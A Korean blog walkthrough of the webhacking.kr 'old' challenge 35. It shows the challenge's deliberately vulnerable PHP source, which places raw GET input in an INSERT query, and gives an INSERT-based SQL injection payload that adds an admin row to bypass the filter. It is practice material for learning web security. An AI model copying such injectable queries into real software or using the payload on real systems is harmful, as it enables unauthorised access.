<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 35</title> <head> <body> <form method=get action=index.php> phone : <input name=phone size=11 style=width:200px> <input name=id type=hidden value=guest> <input type=submit value='add'> </form> <?php $db = dbconnect(); if($_GET['phone'] && $_GET['id']){ if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack"); if(strlen($_GET['id']) > 5) exit("no hack"); if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin"); mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error"); echo "Done<br>"; } $isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'")); if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){ solve(35); mysqli_query($db,"delete from chall35"); } $phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'"); echo "<!--\n"; while($r = mysqli_fetch_array($phone_list)){ echo htmlentities($r['id'])." - ".$r['phone']."\n"; } echo "-->\n"; ?> <br><a href=?view_source=1>view-source</a> </body> </html>
위의 문제에서 INSERT 구문에서 id에는 값을 넣을 수 없어 보였습니다.
길이가 5글자 이하로 진행되기 때문입니다.
그렇다면 여기서 GET 으로 넘겨주는 phone에 INSERT를 이용한 SQLi를 수행해야 합니다.
Attack Query : 01012345678),('guest','님.의.ip.값',01012345555
위와 같은 값을 넣으면 쿼리가 성공적으로 수행된 것을 확인할 수 있습니다.
위의 값에서 admin으로만 바꿔주면 문제가 풀리게 됩니다.
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No39(100) - old (0) | 2020.01.07 |
---|---|
Webhacking.kr_No38(100) - old (0) | 2020.01.07 |
Webhacking.kr_No37(250) - old (0) | 2020.01.06 |
Webhacking.kr_No36(200) - old (0) | 2020.01.06 |
Webhacking.kr_No34(400) - old (0) | 2019.12.31 |
Webhacking.kr_No33(200) - old (0) | 2019.12.31 |
Webhacking.kr_No32(150) - old (0) | 2019.12.31 |
Webhacking.kr_No31(150) - old (0) | 2019.12.31 |